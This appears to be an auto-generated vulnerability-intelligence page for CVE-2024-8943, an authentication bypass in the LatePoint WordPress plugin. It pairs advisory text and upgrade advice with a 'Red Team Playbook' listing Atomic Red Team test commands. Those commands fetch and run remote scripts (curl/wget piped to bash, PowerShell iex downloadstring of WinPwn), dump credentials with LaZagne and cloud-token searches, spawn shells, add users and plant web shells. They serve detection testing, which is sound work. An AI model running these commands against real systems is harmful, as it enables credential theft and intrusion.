CVE-2024-8943
Overview
This vulnerability is an authentication bypass caused by insufficient verification of user identity during the booking customer step in the LatePoint WordPress plugin. The affected component improperly validates the user ID parameter, allowing unauthenticated requests to impersonate existing users. This flaw exists in the user authentication mechanism when the "Use WordPress users as customers" feature is enabled.
Vulnerability Description
The LatePoint plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.0.12. This is due to insufficient verification on the user being supplied during the booking customer step. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id. Note that logging in as a WordPress user is only possible if the "Use WordPress users as customers" setting is enabled, which is disabled by default. The vulnerability is partially patched in version 5.0.12 and fully patched in version 5.0.13.
Impact
An unauthenticated attacker with knowledge of a valid user ID can gain unauthorized access to that user's account, including administrative accounts if present. This allows full control over the WordPress site under the compromised user context, enabling data exfiltration, site manipulation, or privilege escalation. No authentication or user interaction is required, and the vulnerability is exploitable remotely over the network, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Users of the LatePoint WordPress plugin should upgrade to version 5.0.13 or later, where the authentication bypass vulnerability is fully patched. Version 5.0.12 includes a partial fix but does not fully remediate the issue. Detailed patch instructions and version information are available in the official LatePoint changelog (https://wpdocs.latepoint.com/changelog/) and the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/bac8c35b-2afa-4347-b86e-2f16db19a4d3).
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The LatePoint plugin for WordPress exhibits a critical vulnerability stemming from inadequate verification processes during the booking customer step. This flaw allows unauthenticated attackers to bypass authentication mechanisms, enabling them to log in as any existing user on the site, including those with administrative privileges, provided they have knowledge of the user ID. The vulnerability arises from the plugin's failure to properly validate the identity of the user being supplied during the booking process. While the "Use WordPress users as customers" setting is disabled by default, the potential for exploitation remains significant, particularly in environments where this setting may be enabled.
Attack vectors for this vulnerability are straightforward yet alarming. An attacker with knowledge of a valid user ID can exploit the authentication bypass to gain unauthorized access to user accounts. This could be executed through a crafted HTTP request that manipulates the booking process, allowing the attacker to impersonate the targeted user. Given that the vulnerability is present in versions up to and including 5.0.12, any site using this plugin without upgrading to version 5.0.13 remains at risk. Furthermore, the ease of exploitation means that even individuals with limited technical skills could potentially carry out this attack, increasing the likelihood of widespread incidents.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on the LatePoint plugin for customer bookings. Successful exploitation could lead to unauthorized access to sensitive information, including personal customer data, payment details, and administrative controls. This not only jeopardizes the integrity of the affected website but also exposes the organization to legal liabilities, reputational damage, and loss of customer trust. The potential for an attacker to manipulate bookings or access administrative functions could disrupt business operations and lead to financial losses, making this vulnerability a significant business risk.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize immediate updates to the LatePoint plugin, ensuring they are running the latest version (5.0.13 or later). Regular security audits should be conducted to identify any instances of the plugin in use and assess the configuration settings, particularly the "Use WordPress users as customers" option. Implementing robust logging and monitoring practices can help detect unauthorized access attempts and provide insights into potential exploitation. Additionally, organizations should educate their users about the importance of using strong, unique passwords and consider implementing multi-factor authentication to further bolster account security.
In conclusion, the authentication bypass vulnerability in the LatePoint plugin poses a significant threat to WordPress sites, particularly those utilizing the plugin for customer bookings. The combination of ease of exploitation and the potential for severe consequences necessitates immediate action from affected organizations. By promptly addressing the vulnerability through updates and implementing comprehensive security measures, organizations can mitigate the risks and protect their digital assets from unauthorized access and exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Latepoint | Latepoint | All |
cpe:2.3:a:latepoint:latepoint:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8943 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/bac8c35b-2afa-4347-b86e-2f16db19a4d3?source=cve |
| wpdocs.latepoint.com |
GitHub CVE
|
https://wpdocs.latepoint.com/changelog/ |